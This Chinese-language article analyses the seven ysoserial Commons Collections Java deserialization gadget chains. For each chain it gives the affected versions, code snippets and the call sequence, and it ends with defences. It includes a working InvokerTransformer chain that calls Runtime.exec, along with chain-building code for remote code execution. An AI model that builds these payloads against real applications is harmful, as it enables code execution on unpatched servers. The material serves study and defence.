玩转Ysoserial-CommonsCollection的七种利用方式分析
字数 2164 2025-08-18 11:38:56

Java反序列化漏洞利用:Commons Collections模块深度分析

引言

Apache Commons Collections库在Java反序列化漏洞利用中扮演了重要角色,本文基于ysoserial工具中的7种Commons Collections利用方式,详细分析其技术原理和实现细节。

关键技术基础

1. 动态代理技术

动态代理允许在不修改类源码的情况下扩展功能,关键实现方式:

// 定义接口
public interface Work {
    public String work();
}

// 实现类
public class Teacher implements Work {
    @Override
    public String work() {
        System.out.println("my work is teach students");
        return "Teacher";
    }
}

// 调用处理器
public class WorkHandler implements InvocationHandler {
    private Object obj;
    
    public WorkHandler(Object obj) {
        this.obj = obj;
    }
    
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("before invoke...");
        Object invoke = method.invoke(obj, args);
        System.out.println("after invoke...");
        return invoke;
    }
}

// 创建代理
Work proxy = (Work)Proxy.newProxyInstance(
    handler.getClass().getClassLoader(),
    people.getClass().getInterfaces(),
    handler
);

2. Javassist动态编程

用于直接操作字节码或动态生成Java代码:

// 获取默认类池
ClassPool pool = ClassPool.getDefault();

// 操作已有类
CtClass cc = pool.get("test.Teacher");
cc.setSuperclass(pool.get("test.People"));
byte[] b = cc.toBytecode();

// 创建新类
CtClass newClass = pool.makeClass("Point");
newClass.addField(f); // 添加字段
newClass.addMethod(m); // 添加方法
newClass.setName("Pair");

Commons Collections漏洞核心原理

基本利用模块:

String[] execArgs = new String[]{"open /Applications/Calculator.app/"};

// 初始链
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

// 实际恶意链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, execArgs),
    new ConstantTransformer(1)
};

// 通过反射设置最终transformers
setFieldValue(transformerChain, "iTransformers", transformers);

七种利用方式详解

1. CommonsCollections1

适用版本: 3.1-3.2.1, JDK1.8以前

关键代码:

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Map mapProxy = (Map) createMyproxy(getInvocationHandler(ANN_INV_HANDLER_CLASS, lazyMap), Map.class);
InvocationHandler handler = getInvocationHandler(ANN_INV_HANDLER_CLASS, mapProxy);

调用链:

  1. AnnotationInvocationHandler.readObject()
  2. 调用memberValues.entrySet()
  3. 代理对象调用handler.invoke()
  4. LazyMap.get()
  5. ChainedTransformer.transform()

修复: 3.2.2版本将InvokerTransformer加入黑名单

2. CommonsCollections2

适用版本: commons-collections-4.0, JDK7u21及以前

关键代码:

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, 
    new TransformingComparator(transformer));
queue.add(1); 
queue.add(1);
setFieldValue(transformer, "iMethodName", "newTransformer");

调用链:

  1. PriorityQueue.readObject()
  2. heapify() -> siftDown() -> siftDownUsingComparator()
  3. TransformingComparator.compare()
  4. InvokerTransformer.transform()

3. CommonsCollections3

适用版本: 3.1-3.2.1, JDK7u21及以前

关键特点: 使用InstantiateTransformer

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[] { Templates.class }, 
        new Object[] { templatesImpl }
    )
};

调用链:

  1. 类似CommonsCollections1
  2. InstantiateTransformer.transform()实例化TrAXFilter
  3. TrAXFilter构造函数调用templatesImpl.newTransformer()

修复: 3.2.2版本将InstantiateTransformer加入黑名单

4. CommonsCollections4

适用版本: 4.0, JDK7u21及以前

特点: CommonsCollections2和3的混合

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, 
    new TransformingComparator(chain));
// ...
setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
str[0] = templates;

5. CommonsCollections5

适用版本: 3.1-3.2.1, JDK1.8

特点: 使用BadAttributeValueExpException替代AnnotationInvocationHandler

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
// 通过反射设置val字段
valfield.set(val, entry);

调用链:

  1. BadAttributeValueExpException.readObject()
  2. 调用val.toString()
  3. TiedMapEntry.getValue()
  4. LazyMap.get()

6. CommonsCollections6

适用版本: 3.1-3.2.1, JDK1.7/1.8

特点: 使用HashSetTiedMapEntry

HashSet map = new HashSet(1);
map.add("foo");
// 通过反射修改HashSet内部map的key为恶意TiedMapEntry
keyField.set(node, entry);

调用链:

  1. HashSet.readObject()
  2. HashMap.put() -> hash()
  3. TiedMapEntry.hashCode() -> getValue()
  4. LazyMap.get()

7. CommonsCollections7

适用版本: 3.1-3.2.1, JDK1.7/1.8

特点: 使用Hashtable

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy"); // 修复污染

调用链:

  1. Hashtable.readObject()
  2. 比较key时调用equals() -> get()
  3. LazyMap.get()

关键类总结

四大Transformer

  1. ChainedTransformer: 循环调用iTransformers数组
  2. InvokerTransformer: 反射调用方法
  3. ConstantTransformer: 返回iConstant
  4. InstantiateTransformer: 反射实例化对象

三大Map

  1. LazyMap: get()触发factory.transform()
  2. TiedMapEntry: getValue()调用map.get()
  3. HashMap: put()调用hashCode()

五大反序列化入口类

  1. AnnotationInvocationHandler
  2. PriorityQueue
  3. BadAttributeValueExpException
  4. HashSet
  5. Hashtable

防御措施

  1. 升级Commons Collections到安全版本
  2. 配置JVM安全属性org.apache.commons.collections.enableUnsafeSerialization=false
  3. 使用反序列化过滤器

通过深入理解这些利用方式,安全人员可以更好地防御Java反序列化漏洞,开发人员也能编写更安全的代码。

Java反序列化漏洞利用:Commons Collections模块深度分析 引言 Apache Commons Collections库在Java反序列化漏洞利用中扮演了重要角色,本文基于ysoserial工具中的7种Commons Collections利用方式,详细分析其技术原理和实现细节。 关键技术基础 1. 动态代理技术 动态代理允许在不修改类源码的情况下扩展功能,关键实现方式: 2. Javassist动态编程 用于直接操作字节码或动态生成Java代码: Commons Collections漏洞核心原理 基本利用模块: 七种利用方式详解 1. CommonsCollections1 适用版本 : 3.1-3.2.1, JDK1.8以前 关键代码 : 调用链 : AnnotationInvocationHandler.readObject() 调用 memberValues.entrySet() 代理对象调用 handler.invoke() LazyMap.get() ChainedTransformer.transform() 修复 : 3.2.2版本将 InvokerTransformer 加入黑名单 2. CommonsCollections2 适用版本 : commons-collections-4.0, JDK7u21及以前 关键代码 : 调用链 : PriorityQueue.readObject() heapify() -> siftDown() -> siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() 3. CommonsCollections3 适用版本 : 3.1-3.2.1, JDK7u21及以前 关键特点 : 使用 InstantiateTransformer 调用链 : 类似CommonsCollections1 InstantiateTransformer.transform() 实例化 TrAXFilter TrAXFilter 构造函数调用 templatesImpl.newTransformer() 修复 : 3.2.2版本将 InstantiateTransformer 加入黑名单 4. CommonsCollections4 适用版本 : 4.0, JDK7u21及以前 特点 : CommonsCollections2和3的混合 5. CommonsCollections5 适用版本 : 3.1-3.2.1, JDK1.8 特点 : 使用 BadAttributeValueExpException 替代 AnnotationInvocationHandler 调用链 : BadAttributeValueExpException.readObject() 调用 val.toString() TiedMapEntry.getValue() LazyMap.get() 6. CommonsCollections6 适用版本 : 3.1-3.2.1, JDK1.7/1.8 特点 : 使用 HashSet 和 TiedMapEntry 调用链 : HashSet.readObject() HashMap.put() -> hash() TiedMapEntry.hashCode() -> getValue() LazyMap.get() 7. CommonsCollections7 适用版本 : 3.1-3.2.1, JDK1.7/1.8 特点 : 使用 Hashtable 调用链 : Hashtable.readObject() 比较key时调用 equals() -> get() LazyMap.get() 关键类总结 四大Transformer ChainedTransformer : 循环调用 iTransformers 数组 InvokerTransformer : 反射调用方法 ConstantTransformer : 返回 iConstant 值 InstantiateTransformer : 反射实例化对象 三大Map LazyMap : get() 触发 factory.transform() TiedMapEntry : getValue() 调用 map.get() HashMap : put() 调用 hashCode() 五大反序列化入口类 AnnotationInvocationHandler PriorityQueue BadAttributeValueExpException HashSet Hashtable 防御措施 升级Commons Collections到安全版本 配置JVM安全属性 org.apache.commons.collections.enableUnsafeSerialization=false 使用反序列化过滤器 通过深入理解这些利用方式,安全人员可以更好地防御Java反序列化漏洞,开发人员也能编写更安全的代码。